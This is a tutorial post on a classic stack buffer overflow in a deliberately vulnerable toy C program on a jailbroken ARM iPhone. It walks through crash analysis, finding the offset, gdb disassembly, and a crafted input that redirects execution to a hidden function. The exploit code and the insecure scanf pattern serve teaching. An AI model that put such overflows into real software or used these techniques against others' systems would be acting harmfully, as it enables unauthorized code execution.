0x02 Exploiting buffer overflow vulnerability
In this example we will disassemble our binary app code in search for hidden function, then we will exploit buffer overflow vulnerability to take advantage of changing our app execution flow.
0x02.c
Let’s create new file 0x02.c
with code:
#include <stdio.h>
#include <string.h>
void hidden(){
printf("You run hidden function, yay! ;) ");
system("uname -a");
}
int main() {
printf("0x02 Hello Buffer Overflow with Hidden Function\n");
printf("enter some data:\n");
char buff[12];
scanf("%s", buff);
printf("You entered: %s\n", buff);
return 0;
}
Compile and sign binary:
$ clang 0x02.c -fno-stack-protector -fno-pie -arch armv7 -mios-version-min=6 -mno-thumb -isysroot /var/root/theos/sdks/iPhoneOS10.3.sdk/ -o 0x02
$ ldid -S 0x02
All right, so when we run our app normally, it should print some info, wait for user input and print that data it received. But if we try to enter more data than it expects we can crash it like in previous example:
$ ./0x02
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault: 11
And take a look at our crash report:
$ cat /var/mobile/Library/Logs/CrashReporter/0x02-2020-08-04-113352.ips
...
Thread 0 crashed with ARM Thread State (32-bit):
r0: 0x00000000 r1: 0x00000000 r2: 0x3af14f80 r3: 0x00000000
r4: 0x00000000 r5: 0x0000bec0 r6: 0x00000000 r7: 0x41414141
r8: 0x00217d40 r9: 0x00000000 r10: 0x00000000 r11: 0x00000000
ip: 0x00012068 sp: 0x00217d30 lr: 0x0000bf2c pc: 0x41414140
cpsr: 0x40000030
...
In pc
value we again notice this address: 0x41414140
. 41
is hex value for capital letter A
which means that our program has overwritten program counter with value we entered. Other letter reference can be found in ASCII tables.
To find which part of our string actually got written to pc
, we can serve our script value with which we can easily distinguish values (with ASCII/hex tables):
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
In crash report, we can see that the value written to pc
is 0x46464644
. Looking at the ascii/hex tables this is value of FFFF
. Write that down, as we need this information to know how much offset we need to pass another function memory address in stead of dummy value.
Disassembling
To analyse our program we will disassemble binary with gdb
(or lldb
, works simmilar).
Checkout gdb
cheat sheet here https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf .
Every C progamm has a main()
function, so let’s try to see what happens in this app main function:
$ gdb 0x02
$ (gdb) disassemble main
Dump of assembler code for function main:
0x0000bea8 <main+0>: 80 40 2d e9 push {r7, lr}
0x0000beac <main+4>: 0d 70 a0 e1 mov r7, sp
0x0000beb0 <main+8>: 20 d0 4d e2 sub sp, sp, #32 ; 0x20
0x0000beb4 <main+12>: 9b 0f 0b e3 movw r0, #49051 ; 0xbf9b
0x0000beb8 <main+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000bebc <main+20>: 00 10 00 e3 movw r1, #0 ; 0x0
0x0000bec0 <main+24>: 04 10 07 e5 str r1, [r7, #-4]
0x0000bec4 <main+28>: 4a 00 00 eb bl 0xbff4
0x0000bec8 <main+32>: cc 1f 0b e3 movw r1, #49100 ; 0xbfcc
0x0000becc <main+36>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000bed0 <main+40>: 0c 00 8d e5 str r0, [sp, #12]
0x0000bed4 <main+44>: 01 00 a0 e1 mov r0, r1
0x0000bed8 <main+48>: 45 00 00 eb bl 0xbff4
0x0000bedc <main+52>: de 1f 0b e3 movw r1, #49118 ; 0xbfde
0x0000bee0 <main+56>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000bee4 <main+60>: 10 20 8d e2 add r2, sp, #16 ; 0x10
0x0000bee8 <main+64>: 08 00 8d e5 str r0, [sp, #8]
0x0000beec <main+68>: 01 00 a0 e1 mov r0, r1
0x0000bef0 <main+72>: 02 10 a0 e1 mov r1, r2
0x0000bef4 <main+76>: 3f 00 00 eb bl 0xbff8
0x0000bef8 <main+80>: e1 1f 0b e3 movw r1, #49121 ; 0xbfe1
0x0000befc <main+84>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000bf00 <main+88>: 10 20 8d e2 add r2, sp, #16 ; 0x10
0x0000bf04 <main+92>: 04 00 8d e5 str r0, [sp, #4]
0x0000bf08 <main+96>: 01 00 a0 e1 mov r0, r1
0x0000bf0c <main+100>: 02 10 a0 e1 mov r1, r2
0x0000bf10 <main+104>: 37 00 00 eb bl 0xbff4
0x0000bf14 <main+108>: 00 10 00 e3 movw r1, #0 ; 0x0
0x0000bf18 <main+112>: 00 00 8d e5 str r0, [sp]
0x0000bf1c <main+116>: 01 00 a0 e1 mov r0, r1
0x0000bf20 <main+120>: 07 d0 a0 e1 mov sp, r7
0x0000bf24 <main+124>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
These lines state the following:
0x0000bec0 <main+0>: push {r7, lr}
memory location offset from main() arm assembly instruction registers
Ok, we know something about main function, but what are other functions in this program? We can check it in gdb
with following command. We should get a lot of __dyld
functions, but at the end there is listed something interesting - function named hidden
.
(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000be70 hidden
0x0000bea8 main
0x0000bf28 stub helpers
0x0000bff4 dyld_stub_printf
0x0000bff8 dyld_stub_scanf
0x0000bffc dyld_stub_system
Other versions of gdb
may work slightly different, display more or less info, etc, but in general it should show data as above. Not at the moment, but with the time it will be helpful to get to know a little bit more about basic assembly instructions to analyse binary more deeply. For now, we should notice that binary we analyse is basically calling functions: printf
, scanf
and system
. The last two shouldn’t be used in normal apps but here’s just for tutorial process.
In C programming is known that scanf
is a vulnerable function due to it’s lack of data bounds checking, leading to possibility of writing to stack more characters than declared resulting in overwriting other data. Of course we will take advantage of this in exploiting our program.
But first let’s check out addresses of our hidden function:
$ gdb 0x02
$ (gdb) disassemble hidden
Dump of assembler code for function hidden:
0x0000be70 <hidden+0>: 80 40 2d e9 push {r7, lr}
0x0000be74 <hidden+4>: 0d 70 a0 e1 mov r7, sp
0x0000be78 <hidden+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000be7c <hidden+12>: 70 0f 0b e3 movw r0, #49008 ; 0xbf70
0x0000be80 <hidden+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000be84 <hidden+20>: 5a 00 00 eb bl 0xbff4
0x0000be88 <hidden+24>: 92 1f 0b e3 movw r1, #49042 ; 0xbf92
0x0000be8c <hidden+28>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be90 <hidden+32>: 04 00 8d e5 str r0, [sp, #4]
0x0000be94 <hidden+36>: 01 00 a0 e1 mov r0, r1
0x0000be98 <hidden+40>: 57 00 00 eb bl 0xbffc
0x0000be9c <hidden+44>: 00 00 8d e5 str r0, [sp]
0x0000bea0 <hidden+48>: 07 d0 a0 e1 mov sp, r7
0x0000bea4 <hidden+52>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
This function starts at address: 0x0000be70
. We will try to input that address into pc
to change our program execution.
Now since we know that out string overwrites pc
with values after AAAABBBBCCCCDDDDEEEE
, we will put our hidden function address right after this string.
Because our architecture is little endian, we should craft our address in reversed way like so:
\x70\xbe\x00\x00
which will result in writing to pc address 0000be70
- and this is entry address of hidden()
function. So let’s try it:
$ printf "AAAABBBBCCCCDDDDEEEE\x70\xbe\x00\x00" | ./0x02
0x02 Hello Buffer Overflow with Hidden Function
enter some data:
You entered: AAAABBBBCCCCDDDDEEEEp?
You run hidden function, yay! ;)
Darwin iPhone 16.7.0 Darwin Kernel Version 16.7.0: Wed Jul 26 11:08:56 PDT 2017; root:xnu-3789.70.16~21/MarijuanARM_S5L8950X iPhone5,2 arm N42AP Darwin
Bus error: 10
Yeah we did it 😎 we modified running program execution making it do what we wanted, running hidden function 😄 Before ending let’s just check out addresses crash report:
$ cat /var/mobile/Library/Logs/CrashReporter/0x02-2020-08-05-134552.ips
...
Exception Type: EXC_BAD_ACCESS (SIGBUS)
Exception Subtype: EXC_ARM_DA_ALIGN at 0x45454545
Termination Signal: Bus error: 10
...
Thread 0 crashed with ARM Thread State (32-bit):
r0: 0x00000000 r1: 0x00000000 r2: 0x6e440093 r3: 0x00000103
r4: 0x00000000 r5: 0x0000bea8 r6: 0x00000000 r7: 0x45454545
r8: 0x001a7d58 r9: 0x00000000 r10: 0x00000000 r11: 0x00000000
ip: 0x3a051398 sp: 0x45454545 lr: 0x00000000 pc: 0x0000bf24
cpsr: 0x60000010
...
The thing I couldn’t get for few hours was that why my program crashed at pc: 0x0000bf24
, not the value I expected to be there (I entered and was expecting to see 0000be70
here). When you take a look at disassembled functions in gdb
again, you will notice that this is the address of last pop
assembly instruction in main()
function.
What I am trying to say here is that sometimes you can see no output of your program execution override, but analysing carefully addresses and disassembling functions can tell you that you achieved intended purpose but there may be some other reasons you can see no output in shell (just in example). It took me some time to get that with a lot of searching and trying different input strings etc., so don’t give up if something doesn’t work for you.
And congrats on your first successful exploit achieved! 😉
/Sidenote/
If you get "Illegal instruction: 4" while running gdb or objdump or other tool, try to run:
sed -i'' 's/\x00\x30\x93\xe4/\x00\x30\x93\xe5/g;s/\x00\x30\xd3\xe4/\x00\x30\xd3\xe5/g;' /usr/bin/gdb
ldid -s /usr/bin/gdb